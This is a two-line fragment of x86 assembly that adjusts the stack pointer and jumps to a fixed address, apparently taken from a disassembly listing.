sub esp, 0xffffff80
jmp 0x416781